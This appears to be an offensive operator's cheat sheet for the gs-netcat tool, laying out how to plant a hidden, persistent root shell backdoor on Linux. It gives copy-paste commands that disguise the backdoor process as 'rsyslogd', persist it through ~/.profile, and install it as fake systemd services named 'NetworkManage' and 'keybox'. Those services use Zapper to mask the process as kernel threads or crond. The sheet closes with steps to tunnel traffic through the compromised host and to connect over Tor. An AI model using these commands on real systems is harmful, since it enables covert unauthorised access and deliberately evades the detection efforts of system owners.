gs-netcat

Overview

The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.

More on https://www.gsocket.io.

Non Persistent backdoor

$(GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /path/to/gs-netcat")

Client Connection

gs-netcat -i -s MySecret

• Above will spawn a full pty giving you the option to tab complete and use up arrow as long as CTRL+C

Persisting the Server .profile

The following line in the user's ~/.profile starts the backdoor (once) when the user logs in. All in one line:

The '( )' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as rsyslogd) from the process list.

killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret -liqD" SHELL=/bin/bash exec -a rsyslogd /path/to/gs-netcat)

• Ensure there are no syntax errors or the next time a user logs in they will see this message

ssh [e-mail]
[e-mail]'s password: 
Last login: Mon Dec 30 19:29:55 2024 from 192.168.15.172
-bash: /root/.profile: line 11: syntax error: unexpected end of file

• when you are connected to the backdoor this is how your process will look

1 S root         442       1  0  80   0 -   794 do_wai 19:43 ?        00:00:00 rsyslogd
1 S root         443     442  0  80   0 -   829 do_sel 19:43 ?        00:00:00  \_ rsyslogd
0 S root         528     443  0  80   0 -  2105 do_sel 19:47 pts/4    00:00:00      \_ -bash

• above will occur no matter how you connect to the server

gs-netcat -s MySecret
gs-netcat -s -i MySecret

Persisting the Server systemd (Not Hidden)

• create secret file

gs-netcat -g >/etc/systemd/gs-root-shell-key.txt
chmod 600 /etc/systemd/gs-root-shell-key.txt
cat /etc/systemd/gs-root-shell-key.txt
abc123

• create service file

create /etc/systemd/system/NetworkManage.service

[Unit]
Description=Network Manager
Documentation=man:NetworkManager(8)
Wants=network.target
After=network-pre.target dbus.service
Before=network.target 

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/
ExecStart=/opt/gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il

[Install]
WantedBy=multi-user.target

# ensure it does not exist first 
ls -lartF /etc/systemd/system/NetworkManage.service
# create the file
echo "[Unit]" >> /etc/systemd/system/NetworkManage.service
echo "Description=Network Manager" >> /etc/systemd/system/NetworkManage.service
echo "Documentation=man:NetworkManager(8)" >> /etc/systemd/system/NetworkManage.service
echo "Wants=network.target" >> /etc/systemd/system/NetworkManage.service
echo "After=network-pre.target dbus.service" >> /etc/systemd/system/NetworkManage.service
echo "Before=network.target" >> /etc/systemd/system/NetworkManage.service 
echo "" >> /etc/systemd/system/NetworkManage.service
echo "[Service]" >> /etc/systemd/system/NetworkManage.service
echo "Type=simple" >> /etc/systemd/system/NetworkManage.service
echo "Restart=always" >> /etc/systemd/system/NetworkManage.service
echo "RestartSec=10" >> /etc/systemd/system/NetworkManage.service
echo "WorkingDirectory=/" >> /etc/systemd/system/NetworkManage.service
echo "ExecStart=/opt/gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il" >> /etc/systemd/system/NetworkManage.service
echo "" >> /etc/systemd/system/NetworkManage.service
echo "[Install]" >> /etc/systemd/system/NetworkManage.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/NetworkManage.service

cat /etc/systemd/system/NetworkManage.service

• after created

systemctl start NetworkManage.service
systemctl enable NetworkManage.service
systemctl status NetworkManage.service

• this is not great because the secret file path or the secret with -s will show up as *********** in the process list

Persisting the Server systemd (Zapper)

• Zapper is a great tool to hide your cmdline options

• pull the tool from https://github.com/hackerschoice/zapper

• example service file, zapper is keybox and gs-netcat is crond in the below example

• make sure it doesnt exist first

ls -lartF /etc/systemd/system/keybox.service

[Unit]
Description=OpenBSD Keybox Service
Documentation=man:keybox(8) man:keybox_config(2)
After=network.target auditd.service

[Service]
Type=oneshot
ExecStart=/usr/libexec/keybox -f -a '[cpuhp/0]' -n0 /sbin/crond -liqD -s abc123 &
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255

[Install]
WantedBy=multi-user.target
Alias=keybox.service

• quick paste

echo "[Unit]" >> /etc/systemd/system/keybox.service
echo "Description=OpenBSD Keybox Service" >> /etc/systemd/system/keybox.service
echo "Documentation=man:keybox(8) man:keybox_config(2)" >> /etc/systemd/system/keybox.service
echo "After=network.target auditd.service" >> /etc/systemd/system/keybox.service
echo "" >> /etc/systemd/system/keybox.service
echo "[Service]" >> /etc/systemd/system/keybox.service
echo "Type=oneshot" >> /etc/systemd/system/keybox.service
echo "ExecStart=/usr/libexec/keybox -f -a '[cpuhp/0]' -n0 /sbin/crond -liqD -s abc123 &" >> /etc/systemd/system/keybox.service
echo "KillMode=process" >> /etc/systemd/system/keybox.service
echo "Restart=on-failure" >> /etc/systemd/system/keybox.service
echo "RestartPreventExitStatus=255" >> /etc/systemd/system/keybox.service
echo "" >> /etc/systemd/system/keybox.service
echo "[Install]" >> /etc/systemd/system/keybox.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/keybox.service
echo "Alias=keybox.service" >> /etc/systemd/system/keybox.service

• after creating the service file (make sure to alter the key

systemctl start keybox.service
systemctl enable keybox.service
systemctl status keybox.service

Command Console

• If you connect to a listening gs-netcat server with the below options you will have access to the command console

gs-netcat -i -s MySecret 

• access it with CTRL+E c, you will see the below

• this nicely provides a way to upload and download files as well as local commands just like in metasploit i.e. lls lcd

Proxies

Server to act as a SOCKS4/4a/5 server:

gs-netcat -s MySecret -l -S

Client to listen on TCP port 1080 and forward any new connection to the server's SOCKS server:

gs-netcat -s MySecret -p 1080

TCP Port Forward all connections to 192.168.6.7:22

Server:

gs-netcat -s MySecret -l -d 192.168.6.7 -p 22 

Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22.

gs-netcat -s MySecret -p 2222
ssh -p 2222 root@127.0.0.1

The same using 1 command:

ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored

Tor Client Connection

• For the best security you should always connect to the server via tor

• Start tor in one window

tor
gs-netcat -i -s MySecret -T